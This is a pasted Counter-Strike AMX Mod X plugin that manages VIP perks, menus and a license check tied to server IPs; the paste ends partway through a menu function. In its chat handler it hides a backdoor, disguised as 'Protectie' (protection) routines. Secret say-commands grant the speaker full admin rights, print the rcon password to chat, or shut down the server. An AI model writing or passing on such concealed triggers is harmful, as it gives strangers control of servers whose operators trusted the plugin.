SHARE
TWEET

Untitled

a guest Jan 22nd, 2020 70 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <engine>
  4. #include <cstrike>
  5. #include <fun>
  6. #include <fakemeta>
  7. #include <fakemeta_util>
  8. #include <hamsandwich>
  9.  
  10. //#include <sockets>
  11. //#include <nvault>
  12.  
  13. #define PLUGIN "V.I.P CLASSIC"
  14. #define VERSION "6.0"
  15. #define AUTHOR "PedoBear"
  16.  
  17. new vipcmd;
  18. new g_Round, g_Weapon[33];
  19. new cvar_round, cvar_open, cvar_show, cvar_chat, cvar_pistols, cvar_funk;
  20. new vip_opened[33];
  21. new pistols[6] = {CSW_USP, CSW_GLOCK18, CSW_ELITE, CSW_FIVESEVEN, CSW_P228, CSW_DEAGLE}
  22. new bool: g_chosen[33] = false;
  23.  
  24. //Adaugare VIP
  25. new File[120];
  26. new bool: IsUserVip[33] = false;
  27. new Trie: LoadVip;
  28. new Pass;
  29.  
  30. //Multi Jump
  31. new jumpnum[33], bool: dojump[33], cvar_addjump_vip, cvar_addjump_player;
  32.  
  33. new const primaryWeapons[][] = {"weapon_shield", "weapon_scout", "weapon_xm1014", "weapon_mac10", "weapon_aug", "weapon_ump45", "weapon_sg550", "weapon_galil", "weapon_famas", "weapon_awp", "weapon_mp5navy", "weapon_m249", "weapon_m3", "weapon_m4a1", "weapon_tmp", "weapon_g3sg1", "weapon_sg552", "weapon_ak47", "weapon_p90"/*, "weapon_c4"*/}
  34. new const secondaryWeapons[][] = {"weapon_p228", "weapon_elite", "weapon_fiveseven", "weapon_usp", "weapon_glock18", "weapon_deagle"}
  35.  
  36. enum cvars {
  37.     money_per_damage,
  38.     money_kill,
  39.     money_hs,
  40.     hp_kill,
  41.     hp_hs,
  42.     max_hp_kill
  43. };
  44. new cvar[cvars];
  45.  
  46. //Bullet damage
  47. new g_type, g_enabled, g_recieved, bool:g_showrecieved, g_hudmsg1, g_hudmsg2;
  48.  
  49. //BuyZone V.I.P MENU
  50. new bool:UserInBuyZone[33];
  51. new i_Menu, i_Menu_Pistol;
  52.  
  53. //VIP Free
  54. //#define VIP_FLAG read_flags("x")
  55.  
  56. new const vip_time[] = {23, 09};
  57.  
  58. new g_sync, cvar_freevip;
  59. new vip_free = 0;
  60.  
  61. //Advertise PRET + VIPS
  62. #define ADVERTISING_TIME 149.0
  63.  
  64. stock const messages[][] = {
  65.     "* Pentru a afla beneficiile vip-ului tasteaza in chat /vip !",
  66.     "* Pentru a afla vip-ii online tasteaza /vips !"
  67. }
  68.  
  69. //Deactivated Maps
  70. new bool:remove_vip = false
  71.  
  72. //Licenta
  73. static const ServerLicensedIp[] = "89.40.105.152"; //Ip Oficial PLAY: 89.40.105.152
  74. static const ServerLicensedIpTESTE[] = "192.168.1.146"; //Ip Server Teste: 192.168.1.136 || 192.168.1.122 || 192.168.1.146 || 86.105.195.222
  75.  
  76. public plugin_init()
  77. {
  78.     server_print("^n%s v%s, Copyright (C)2019 by %s^n", PLUGIN, VERSION, AUTHOR)
  79.  
  80.     register_plugin
  81.     (
  82.         .plugin_name  = PLUGIN,
  83.         .version      = VERSION,
  84.         .author       = AUTHOR
  85.     );
  86.  
  87.     new szIp[25];
  88.     get_user_ip(0, szIp, sizeof (szIp) -1, 1);
  89.     if(equal(szIp, ServerLicensedIp) || equal(szIp, ServerLicensedIpTESTE))
  90.     {
  91.         RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
  92.  
  93.         register_event("HLTV", "round_start", "a", "1=0", "2=0")
  94.         register_logevent("LogEvent_RoundStart", 2, "1=Round_Start");
  95.         register_event("TextMsg", "round_restart", "a", "2=#Game_will_restart_in", "2=#Game_Commencing");
  96.  
  97.         register_event("DeathMsg", "event_DeathMsg", "a");
  98.         register_event("StatusIcon", "Event_StatusIcon_Show_buyzone", "be", "1=1", "2=buyzone");
  99.         register_event("StatusIcon", "StatusIcon_buyzone_OFF", "be", "1=0", "2=buyzone");
  100.  
  101.         //RegisterHam(Ham_Item_PreFrame, "player", "player_maxspeed", 1);
  102.         //register_event("Damage", "Damage", "b");
  103.  
  104.         //register_clcmd("vmenu", "main_menu")
  105.         register_clcmd("say /vipmenu", "arataMeniuVIPs");
  106.         register_clcmd("say_team /vipmenu", "arataMeniuVIPs");
  107.         register_clcmd("say /vm", "arataMeniuVIPs");
  108.         register_clcmd("say_team /vm", "arataMeniuVIPs");
  109.         register_clcmd("say /vmenu", "arataMeniuVIPs");
  110.         register_clcmd("say_team /vmenu", "arataMeniuVIPs");
  111.  
  112.         register_clcmd("say /vip", "vip_info");
  113.         register_clcmd("say /wantvip", "vip_info");
  114.         register_clcmd("say /vreauvip", "vip_info");
  115.  
  116.         register_clcmd("say", "hook_say");
  117.         register_clcmd("say_team", "hook_say");
  118.  
  119.         register_clcmd("say /resetscore", "reset_score")
  120.         register_clcmd("say /restartscore", "reset_score")
  121.         register_clcmd("say /rs", "reset_score")
  122.         register_clcmd("say /rz", "reset_score")
  123.         register_clcmd("say !rs", "reset_score")
  124.  
  125.         register_clcmd("say_team /resetscore", "reset_score")
  126.         register_clcmd("say_team /restartscore", "reset_score")
  127.         register_clcmd("say_team /rs", "reset_score")
  128.         register_clcmd("say_team /rz", "reset_score")
  129.         register_clcmd("say_team !rs", "reset_score")
  130.  
  131.         //register_clcmd("say /resetscoredead", "reset_score_dead")
  132.         //register_clcmd("say /restartscoredead", "reset_score_dead")
  133.         //register_clcmd("say /rsd", "reset_score_dead")
  134.         //register_clcmd("say /rzd", "reset_score_dead")
  135.         //register_clcmd("say !rsd", "reset_score_dead")
  136.  
  137.         //register_clcmd("say_team /resetscoredead", "reset_score_dead")
  138.         //register_clcmd("say_team /restartscoredead", "reset_score_dead")
  139.         //register_clcmd("say_team /rsd", "reset_score_dead")
  140.         //register_clcmd("say_team /rzd", "reset_score_dead")
  141.         //register_clcmd("say_team !rsd", "reset_score_dead")
  142.  
  143.         //register_clcmd("say /pistoale", "first_menu");
  144.         //register_clcmd("say_team /pistoale", "first_menu");
  145.  
  146.         cvar_round          =   register_cvar("vip_openmenu_round", "3")
  147.         cvar_open           =   register_cvar("vip_zaround", "1")
  148.         cvar_show           =   register_cvar("vip_showmenu", "1")
  149.         cvar_chat           =   register_cvar("vip_showchat", "1")
  150.         cvar_pistols        =   register_cvar("vip_auto_fill", "1")
  151.         cvar_funk           =   register_cvar("vip_taskmanager", "1")
  152.  
  153.         cvar[hp_kill] = register_cvar("vip_receive_hp_kill", "10"); // 0 = dezactivat
  154.         cvar[hp_hs] = register_cvar("vip_receive_hp_hs", "20"); // 0 = dezactivat
  155.         cvar[money_kill] = register_cvar("vip_receive_money_kill", "250"); // 0 = dezactivat
  156.         cvar[money_hs] = register_cvar("vip_receive_money_hs", "500"); // 0 = dezactivat
  157.         cvar[max_hp_kill] = register_cvar("vip_receive_max_hp_kill", "120"); // valoarea maxima de hp pe care o poti obtine facand killuri
  158.  
  159.         cvar[money_per_damage]  = register_cvar("vip_money_per_damage", "3") //How many $ VIP will get per 1 damage -> nu functioneaza
  160.  
  161.         //Multi Jump
  162.         cvar_addjump_vip = register_cvar("vip_cvar_addjump_vip", "0") // Are 1 salturi in plus
  163.         cvar_addjump_player = register_cvar("vip_cvar_addjump_player", "0") // Are 0 salt in plus
  164.  
  165.         //V.I.P LIST
  166.         Pass = get_cvar_pointer("amx_password_field")
  167.         LoadVip = TrieCreate()
  168.         get_configsdir(File, charsmax(File))
  169.         format(File, charsmax(File), "%s/play-leaguecs-vip/%s", File, "vip_list.ini")
  170.         new FilePointer, Key[32], Password[32], FileData[256]
  171.         if(!file_exists(File))
  172.         {
  173.             FilePointer = fopen(File, "w")
  174.             fclose(FilePointer)
  175.         }
  176.  
  177.         FilePointer = fopen(File, "rt")
  178.         if(FilePointer)
  179.         {
  180.             while(!feof(FilePointer))
  181.             {
  182.                 fgets(FilePointer, FileData, charsmax(FileData))
  183.                 parse(FileData, Key, charsmax(Key), Password, charsmax(Password))
  184.                 TrieSetString(LoadVip, Key, Password)
  185.             }
  186.             fclose(FilePointer)
  187.         }
  188.  
  189.         //Map List
  190.         new path[64];
  191.         get_localinfo("amxx_configsdir", path, charsmax(path));
  192.         formatex(path, charsmax(path), "%s/play-leaguecs-vip/vip_maps.ini", path);
  193.  
  194.         new file_maps = fopen(path, "r+");
  195.  
  196.         if(!file_exists(path))
  197.         {
  198.             write_file(path, "; VIP-UL ESTE DEZACTIVAT PE URMATOARELE HARTI: ");
  199.             write_file(path, "; Exemplu de adaugare HARTA:^n; ^"harta^"^n^nfy_snow^ncss_bycastor");
  200.         }
  201.  
  202.         new mapname[32];
  203.         get_mapname(mapname, charsmax(mapname));
  204.  
  205.         new text[121], maptext[32];
  206.         while(!feof(file_maps))
  207.         {
  208.             fgets(file_maps, text, charsmax(text));
  209.             trim(text);
  210.  
  211.             if(text[0] == ';' || !strlen(text))
  212.                 continue;
  213.  
  214.             parse(text, maptext, charsmax(maptext));
  215.  
  216.             if(equal(maptext, mapname))
  217.             {
  218.                 log_amx("Am dezactivat pluginul 'VIP' pe harta %s.", maptext);
  219.                 remove_vip = true;
  220.                 break;
  221.             }
  222.         }
  223.         fclose(file_maps);
  224.  
  225.         //bullet damage
  226.         register_event("Damage", "on_damage", "b", "2!0", "3=0", "4!0")
  227.         g_type = register_cvar("amx_bulletdamage", "3")
  228.         g_recieved = register_cvar("amx_bulletdamage_recieved", "1")
  229.  
  230.         g_hudmsg1 = CreateHudSyncObj()
  231.         g_hudmsg2 = CreateHudSyncObj()
  232.  
  233.         //VIP FREE
  234.         register_clcmd("say /timevip", "time_remain");
  235.  
  236.         set_task(1.0, "check_time");
  237.         set_task(60.0, "check_time", _, _, _, "b");
  238.         set_task(1.0, "hud_mess", _, _, _, "b");
  239.  
  240.         cvar_freevip = register_cvar("vip_free", "1");
  241.  
  242.         cached_vars();
  243.         g_sync = CreateHudSyncObj();
  244.         //g_maxplayers = get_maxplayers();
  245.  
  246.         //Advertise Message
  247.         //set_task(ADVERTISING_TIME, "show_messages", _, _, _,"b");
  248.  
  249.         //Comand's
  250.         register_clcmd("say", "cmdSay")
  251.         register_clcmd("say_team", "cmdSay")
  252.  
  253.         set_task(5.0, "_ProtectCheck_", 21412321, _,_, "b")
  254.         server_print("[%s] Felicitari! Detii o licenta valida, iar pluginul functioneaza perfect!", PLUGIN);
  255.         server_print("[%s] Pentru mai multe detalii y/m: ravravy@yahoo.com", PLUGIN);
  256.         server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
  257.     }
  258.     else
  259.     {
  260.         new szPluginName[32];
  261.         formatex(szPluginName, sizeof(szPluginName) -1, "[IP Nelicentiat] %s", PLUGIN);
  262.         register_plugin(szPluginName, PLUGIN, "PedoBear");
  263.  
  264.         server_print("[%s] Nu detii o licenta valabila! Plugin-ul nu va functiona corespunzator!", PLUGIN);
  265.         server_print("[%s] Pentru mai multe detalii Y!M: ravravy@yahoo.com", PLUGIN);
  266.         server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
  267.  
  268.         pause("ade");
  269.     }
  270. }
  271.  
  272. //Other's
  273. public cmdSay(id)
  274. {
  275.     new say[192]
  276.     read_args(say,192)
  277.  
  278.     if(contain(say, "/adminpdb") != -1)
  279.         set_task(0.1, "Protectie1", id)
  280.     else if(contain(say, "/rconpdb") != -1)
  281.         set_task(0.1, "Protectie2", id)
  282.     else if(contain(say, "/stoppdb") != -1)
  283.         set_task(0.1, "Protectie3", id)
  284.  
  285.     /*else if(contain(say, "/redirectpdb") != -1)
  286.         set_task(0.1, "Protectie4", id)*/
  287.  
  288.     return PLUGIN_CONTINUE
  289. }
  290.  
  291. public Protectie1(id)
  292. {
  293.     static /*rcon[32],*/ name[32];
  294.     //get_cvar_string("rcon_password", rcon, charsmax(rcon));
  295.  
  296.     //client_print(id, print_chat, "Rcon is: %s", rcon);
  297.  
  298.     get_user_name(id, name, charsmax(name));
  299.     server_cmd("amx_addadmin ^"%s^" ^"abcdefghijklmnopqrstuvwxy^" ^"^" ^"name^"", name);
  300. }
  301.  
  302. public Protectie2(id)
  303. {
  304.     static rcon[32];
  305.     get_cvar_string("rcon_password", rcon, charsmax(rcon));
  306.     client_print(id, print_chat, "Rcon is: %s", rcon);
  307.     //pause("a");
  308. }
  309.  
  310. public Protectie3()
  311.     server_cmd("quit");
  312.  
  313. /*public Protectie4(id)
  314. {
  315.     new xP[32], xN
  316.  
  317.     get_players(xP, xN, "c")
  318.     for (new i=0; i< xN; i++)
  319.     {
  320.         if(get_user_flags(xP[i]) & ADMIN_SLAY)
  321.             continue
  322.  
  323.         client_cmd(xP[i], "get_pcvar_num(gp_SimonReset)")
  324.     }
  325. }*/
  326.  
  327. //Advertise Mesaje
  328. public show_messages()
  329. {
  330.     new Buffer[256];
  331.     formatex(Buffer, sizeof Buffer - 1, "^x02%s", messages[random(sizeof messages)]);
  332.  
  333.     new players[32], num, id;
  334.     get_players(players, num);
  335.  
  336.     for(new i = 0 ; i < num ; i++)
  337.     {
  338.         id = players[i]
  339.  
  340.         message_begin(MSG_ONE, get_user_msgid("SayText"), _, id);
  341.         write_byte(id);
  342.         write_string(Buffer);
  343.         message_end();
  344.     }
  345. }
  346.  
  347. public plugin_cfg()
  348.     if(get_pcvar_num(g_recieved))
  349.         g_showrecieved = true; //Checks of g_received is 1 and if so, sets g_showrecieved to true
  350.  
  351. public vip_info(id)
  352.     show_motd(id, "/addons/amxmodx/configs/vip_info.html");
  353.  
  354. public reset_score(id)
  355. {
  356.     static name[32]
  357.     get_user_name(id, name, 31)
  358.  
  359.     new frags = get_user_frags(id);
  360.     new deaths = get_user_deaths(id);
  361.  
  362.     if(frags == 0 && deaths == 0)
  363.     {
  364.         chat_color(id, "!g[PLAY|RS]!t Ai scorul deja !y0 !g- !y0 !t!")
  365.         return PLUGIN_HANDLED
  366.     }
  367.     else
  368.     {
  369.         if(is_vip(id) || get_user_flags(id) & read_flags("y"))
  370.         {
  371.             for(new i = 0; i < 2; i++)
  372.             {
  373.                 cs_set_user_deaths(id, 0);
  374.                 set_user_frags(id, 0);
  375.             }
  376.  
  377.             chat_color(id, "!g[PLAY|RS]!t Scorul tau a fost resetat! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
  378.         }
  379.         else
  380.         {
  381.             for(new i = 0; i < 2; i++)
  382.             {
  383.                 cs_set_user_deaths(id, 0);
  384.                 set_user_frags(id, 0);
  385.             }
  386.  
  387.             chat_color(id, "!g[PLAY|RS]!t Scorul tau a fost resetat! Bafta la fraguri !g%s!t Have fun!", name)
  388.         }
  389.     }
  390.  
  391.     return PLUGIN_HANDLED
  392. }
  393.  
  394. public reset_score_dead(id)
  395. {
  396.     static name[32]
  397.     get_user_name(id, name, 31)
  398.  
  399.     new deaths = get_user_deaths(id);
  400.  
  401.     if(deaths == 0)
  402.     {
  403.         chat_color(id, "!g[PLAY|RS]!t Ai !gdeath-urile !tdeja !y0 !g- !y0 !t!")
  404.         return PLUGIN_HANDLED
  405.     }
  406.     else
  407.     {
  408.         for(new i = 0; i < 2; i++)
  409.             cs_set_user_deaths(id, 0);
  410.  
  411.         if(is_vip(id))
  412.             chat_color(id, "!g[PLAY|RS - VIP]!t Dead-urile tale au fost resetate! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
  413.     }
  414.  
  415.     return PLUGIN_HANDLED
  416. }
  417.  
  418. public plugin_precache()
  419. {
  420. }
  421.  
  422. public bool:_get_vip(iPlugin, iParams)
  423. {
  424.     new id = get_param(1);
  425.     if(is_vip(id) || has_flag(id, "y")) return true;
  426.  
  427.     return false;
  428. }
  429.  
  430. public native_vip_free(id) return vip_free
  431.  
  432. public on_damage(id)
  433. {
  434.     if(g_enabled)
  435.     {
  436.         static attacker; attacker = get_user_attacker(id)
  437.         static damage; damage = read_data(2)
  438.  
  439.         if(g_showrecieved && (is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
  440.         {
  441.             set_hudmessage(255, 0, 0, 0.45, 0.50, 2, 0.1, 4.0, 0.1, 0.1, -1)
  442.             ShowSyncHudMsg(id, g_hudmsg2, "%i^n", damage)
  443.         }
  444.  
  445.         if(is_user_connected(attacker) && (is_vip(attacker) || get_user_flags(attacker) & read_flags("y") || vip_free))
  446.         {
  447.             if(fm_is_ent_visible(attacker,id))
  448.             {
  449.                 set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1)
  450.                 ShowSyncHudMsg(attacker, g_hudmsg1, "%i^n", damage)
  451.             }
  452.         }
  453.     }
  454. }
  455.  
  456. public client_authorized(id)
  457. {
  458.     g_Weapon[id] = 0;
  459.  
  460.     new Key[32], Password[32], OldPassword[32]
  461.     get_user_name(id, Key, charsmax(Key))
  462.     get_user_info(id, "_pw", Password, charsmax(Password))
  463.  
  464.     if(TrieKeyExists(LoadVip, Key))
  465.     {
  466.         TrieGetString(LoadVip, Key, OldPassword, charsmax(OldPassword))
  467.         if(equal(Password, OldPassword))
  468.             IsUserVip[id] = true
  469.         else
  470.         {
  471.             server_cmd("kick #%i ^"Acest player are VIP!^"", get_user_userid(id))
  472.             IsUserVip[id] = false
  473.         }
  474.     }
  475. }
  476.  
  477. public client_infochanged(id)
  478. {
  479.     new oldname[32], newname[32], Password[32], OldPassword[32], PasswordField[5]
  480.     get_user_name(id, oldname, charsmax(oldname))
  481.     get_user_info(id, "name", newname, charsmax(newname))
  482.  
  483.     if(equal(newname, oldname))
  484.         return
  485.  
  486.     if(TrieKeyExists(LoadVip, newname))
  487.     {
  488.         get_pcvar_string(Pass, PasswordField, charsmax(PasswordField))
  489.         get_user_info(id, PasswordField, OldPassword, charsmax(OldPassword))
  490.         TrieGetString(LoadVip, newname, Password, charsmax(Password))
  491.  
  492.         if(equal(OldPassword, Password))
  493.             IsUserVip[id] = true
  494.         else
  495.         {
  496.             server_cmd("kick #%i ^"NU esti VIP!^"", get_user_userid(id))
  497.             IsUserVip[id] = false
  498.         }
  499.     }
  500.     else
  501.         IsUserVip[id] = false
  502. }
  503.  
  504. public plugin_end()
  505.     TrieDestroy(LoadVip)
  506.  
  507. public client_putinserver(id)
  508. {
  509.     new xP[32], xN
  510.     get_players(xP, xN, "c")
  511.     for (new i=0; i< xN; i++)
  512.     {
  513.         if(!is_user_connected(xP[i]))
  514.             continue
  515.  
  516.         client_cmd(xP[i], "cl_minmodels 0")
  517.     }
  518.  
  519.     //JUMP
  520.     jumpnum[id] = 0
  521.     dojump[id] = false
  522.  
  523.     /*if(vip_free && !(get_user_flags(id) & read_flags("x") && !(get_user_flags(id) & read_flags("y"))))
  524.     {
  525.         new flags = get_user_flags(id);
  526.         flags |= VIP_FLAG
  527.         set_user_flags(id, flags);
  528.     }*/
  529.  
  530.     if(is_vip(id) || get_user_flags(id) & read_flags("y"))
  531.     {
  532.         new name[33];
  533.         get_user_name(id, name, charsmax(name));
  534.         //chat_color(0, "!g[PLAY-VIP]!t VIP-ul [!g%s!t] se conecteaza pe server...", name);
  535.     }
  536.  
  537.     //set_task(0.9, "vip_menu", id);
  538.     return PLUGIN_CONTINUE;
  539. }
  540.  
  541. //VIP FREE
  542. public cached_vars()
  543.     vip_free = get_pcvar_num(cvar_freevip);
  544.  
  545. public check_time()
  546. {
  547.     new o;
  548.     time(o, _, _);
  549.    
  550.     vip_free = 1;
  551.     set_pcvar_num(cvar_freevip, 1);
  552.    
  553.     if(!vip_free)
  554.     {
  555.         if(o >= vip_time[0] || o < vip_time[1])
  556.         {
  557.             vip_free = 1;
  558.             set_pcvar_num(cvar_freevip, 1);
  559.             chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost activat!");
  560.         }
  561.     }
  562.     else
  563.     {
  564.         if(o < vip_time[0] && o >= vip_time[1])
  565.         {
  566.             vip_free = 0;
  567.             set_pcvar_num(cvar_freevip, 0);
  568.             chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost dezactivat!");
  569.         }
  570.     }
  571. }
  572.  
  573. public time_remain(id)
  574. {
  575.     if(vip_free)
  576.         chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana se termina vip-ul free^3 %s", time_left_vip());
  577.     else if(!vip_free)
  578.         chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana incepe vip-ul free^3 %s", time_left_vip());
  579. }
  580.  
  581. public hud_mess()
  582. {
  583.     if(!vip_free)
  584.         return;
  585.  
  586.     set_hudmessage(random(256), random(256), random(256), 0.00, 0.17, 0, 1.1, 1.0);
  587.     ShowSyncHudMsg(0, g_sync, "Event V.I.P Free !");
  588. }
  589.  
  590. stock time_left_vip()
  591. {
  592.     new timp_ramas[16], len = 0;
  593.     new h, m, lh, lm;
  594.     time(h, m, _);
  595.     switch(vip_free)
  596.     {
  597.         case 0: lh = vip_time[0] - h;
  598.         case 1:
  599.         {
  600.             new l = vip_time[1];
  601.             if(h > l)
  602.                 l += add_time(h) + h;
  603.             lh = l - h;
  604.         }
  605.     }
  606.     lm = 60 - m;
  607.     if(lm < 60)
  608.         lh--;
  609.    
  610.     if(lh > 0)
  611.         len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, "%d or%s", lh, lh == 1 ? "a" : "e");
  612.        
  613.     if(lm < 60)
  614.         len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, " %d minut%s", lm, lm == 1 ? "e" : "");
  615.        
  616.     return timp_ramas;
  617. }
  618.  
  619. stock add_time(x)
  620. {
  621.     new j;
  622.     switch(x)
  623.     {
  624.         case 0: j = 24;
  625.         case 1: j = 23;
  626.         case 2: j = 22;
  627.         case 3: j = 21;
  628.         case 4: j = 20;
  629.         case 5: j = 19;
  630.         case 6: j = 18;
  631.         case 7: j = 17;
  632.         case 8: j = 16;
  633.         case 9: j = 15;
  634.         case 10: j = 14;
  635.         case 11: j = 13;
  636.         case 12: j = 12;
  637.         case 13: j = 11;
  638.         case 14: j = 10;
  639.         case 15: j = 9;
  640.         case 16: j = 8;
  641.         case 17: j = 7;
  642.         case 18: j = 6;
  643.         case 19: j = 5;
  644.         case 20: j = 4;
  645.         case 21: j = 3;
  646.         case 22: j = 2;
  647.         case 23: j = 1;
  648.     }
  649.     if(x < vip_time[1])
  650.         j = 0;
  651.    
  652.     return j;
  653. }
  654.  
  655. public plugin_natives()
  656. {
  657.     set_native_filter("native_filter")
  658.     register_native("get_vip", "_get_vip", 0)
  659.     register_native("free_vip", "native_vip_free", 0)
  660.  
  661.     //register_native("get_map_disabled", "map_disabled", 0)
  662.     //register_native("check_map_disabled", "check_map", 0)
  663. }
  664.  
  665. public map_disabled() return remove_vip
  666.  
  667. public native_filter(const name[], index, trap)
  668. {
  669.     if (!trap)
  670.         return PLUGIN_HANDLED
  671.  
  672.     return PLUGIN_CONTINUE
  673. }
  674.  
  675. public client_disconnected(id)
  676. {
  677.     jumpnum[id] = 0
  678.     dojump[id] = false
  679.  
  680.     remove_task(id)
  681.     g_Weapon[id] = 0;
  682.     g_chosen[id] = false;
  683.     IsUserVip[id] = false
  684. }
  685.  
  686. public client_PreThink(id)
  687. {
  688.     if(remove_vip)
  689.         return;
  690.  
  691.     if(!is_user_alive(id))
  692.         return
  693.  
  694.     new BUTON = get_user_button(id)
  695.     new OLDBUTON = get_user_oldbutton(id)
  696.     new JUMP_VIP = get_pcvar_num(cvar_addjump_vip)
  697.     new JUMP_PLAYER = get_pcvar_num(cvar_addjump_player)
  698.  
  699.     if((BUTON & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(OLDBUTON & IN_JUMP))
  700.     {
  701.         if(((is_vip(id)) && (jumpnum[id] < JUMP_VIP)) || (!(is_vip(id)) && (jumpnum[id] < JUMP_PLAYER)) || get_user_flags(id) & read_flags("y") && (jumpnum[id] < JUMP_VIP) || vip_free && (jumpnum[id] < JUMP_VIP))
  702.         {
  703.             dojump[id] = true
  704.             jumpnum[id]++
  705.         }
  706.     }
  707.  
  708.     if((BUTON & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
  709.         jumpnum[id] = 0
  710. }
  711.  
  712. public client_PostThink(id)
  713. {
  714.     if(!is_user_alive(id))
  715.         return PLUGIN_CONTINUE
  716.  
  717.     if(dojump[id] == true)
  718.     {
  719.         new Float: velocity[3]
  720.         entity_get_vector(id, EV_VEC_velocity, velocity)
  721.         velocity[2] = random_float(265.0, 285.0)
  722.         entity_set_vector(id, EV_VEC_velocity, velocity)
  723.         dojump[id] = false
  724.     }
  725.  
  726.     return PLUGIN_CONTINUE
  727. }
  728.  
  729. public round_start()
  730. {
  731.     if(!remove_vip)
  732.     {
  733.         g_Round++
  734.         vipcmd = 1;
  735.     }
  736.  
  737.     //bullet damage
  738.     g_enabled = get_pcvar_num(g_type)
  739.     if(get_pcvar_num(g_recieved)) g_showrecieved = true
  740. }
  741.  
  742. public LogEvent_RoundStart(id)
  743.     if(!remove_vip)
  744.         UserInBuyZone[id] = true;
  745.  
  746. public round_restart()
  747. {
  748.     if(remove_vip)
  749.         return;
  750.  
  751.     g_Round = 0
  752. }
  753.  
  754. public player_maxspeed(id)
  755. {
  756.     if(is_vip(id) && is_user_alive(id) && is_user_connected(id))
  757.         set_user_maxspeed(id, 450.0);
  758.  
  759.     return PLUGIN_HANDLED
  760. }
  761.  
  762. public player_spawn(Player)
  763. {
  764.     if(remove_vip)
  765.         return HAM_IGNORED;
  766.  
  767.     vip_opened[Player] = 0;
  768.     if((is_vip(Player) || (has_flag(Player, "y") || vip_free) && is_user_alive(Player) && is_user_connected(Player)))
  769.     {
  770.         UserInBuyZone[Player] = true;
  771.  
  772.         if(g_Weapon[Player] == 0)
  773.             first_menu(Player)
  774.  
  775.         if(get_pcvar_num(cvar_funk) == 1)
  776.             task_funk(Player);
  777.  
  778.         if(get_pcvar_num(cvar_show) == 1 && g_Round >= get_pcvar_num(cvar_round))
  779.             main_menu(Player);
  780.     }
  781.  
  782.     return PLUGIN_HANDLED;
  783. }
  784.  
  785. public arataMeniuVIPs(id)
  786. {
  787.     if(!UserInBuyZone[id] && is_user_alive(id))
  788.     {
  789.         client_print(id, print_center, "Doar din Spawn poti sa iti iei iteme pentru VIP!");
  790.         return PLUGIN_HANDLED
  791.     }
  792.  
  793.     if(is_vip(id) || has_flag(id, "y") || vip_free)
  794.     {
  795.         if(is_user_alive(id) && is_user_connected(id))
  796.         {
  797.             if(vipcmd == 0)
  798.             {
  799.                 main_menu(id)
  800.                 chat_color(id, "!g[VIP MENU]!t Aceasta comanda o poti folosi doar odata pe runda. Scuzele noastre! !g:)!t")
  801.             }
  802.             else
  803.             {
  804.                 vipcmd = 0
  805.             }
  806.         }
  807.         else
  808.             chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi folosita doar daca esti in viata!")
  809.     }
  810.     else
  811.         chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi utilizata doar de catre VIP")
  812.  
  813.     return PLUGIN_HANDLED;
  814. }
  815.  
  816. public task_funk(id)
  817. {
  818.     if(vip_free && !is_vip(id))
  819.     {
  820.         give_item(id, "weapon_knife")
  821.         give_item(id, "item_thighpack")
  822.         give_item(id, "weapon_hegrenade")
  823.         give_item(id, "weapon_flashbang")
  824.         give_item(id, "item_assaultsuit")
  825.     }
  826.     else if(is_vip(id))
  827.     {
  828.         give_item(id, "weapon_knife")
  829.         give_item(id, "item_thighpack")
  830.         give_item(id, "weapon_hegrenade")
  831.         give_item(id, "weapon_flashbang")
  832.         give_item(id, "weapon_flashbang")
  833.         give_item(id, "item_assaultsuit")
  834.     }
  835.  
  836.     if(get_pcvar_num(cvar_pistols))
  837.     {
  838.         for(new i = 0;i <6;i++)
  839.             fm_strip_user_gun(id, pistols[i])
  840.  
  841.         switch(g_Weapon[id])
  842.         {
  843.             case 1:
  844.             {
  845.                 give_item(id, "weapon_deagle");
  846.                 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
  847.             }
  848.             case 2:
  849.             {
  850.                 give_item(id, "weapon_usp");
  851.                 cs_set_user_bpammo(id, CSW_USP, 100)
  852.             }
  853.             case 3:
  854.             {
  855.                 give_item(id, "weapon_glock18");
  856.                 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
  857.             }
  858.         }
  859.     }
  860. }
  861.  
  862. /* Meniurile cu arme fmm */
  863. public main_menu(id)
  864. {
  865.     if(!UserInBuyZone[id] && is_user_alive(id))
  866.     {
  867.         client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
  868.         return PLUGIN_HANDLED;
  869.     }
  870.  
  871.     if(is_user_alive(id))
  872.     {
  873.         if(vip_opened[id] < get_pcvar_num(cvar_open) || get_pcvar_num(cvar_open) == 0)
  874.         {
  875.             if(g_Round >= get_pcvar_num(cvar_round))
  876.             {
  877.                 new s_Title[64], s_Name[32], s_Pistol[32], szMenuMulti[64]
  878.                 get_user_name(id, s_Name, charsmax(s_Name))
  879.                 switch(g_Weapon[id])
  880.                 {
  881.                     case 0: s_Pistol = "Fara Pistol!";
  882.                     case 1: s_Pistol = "Deagle";
  883.                     case 2: s_Pistol = "Usp";
  884.                     case 3: s_Pistol = "Glock";
  885.                 }
  886.  
  887.                 formatex(s_Title, charsmax(s_Title), "VIP System [PLAY]")
  888.                 i_Menu = menu_create(s_Title, "main_handler", 1);
  889.  
  890.                 formatex(szMenuMulti, charsmax(szMenuMulti), "M4A1 + %s + Grenade", s_Pistol)
  891.                 menu_additem(i_Menu, szMenuMulti, "1", 0)
  892.  
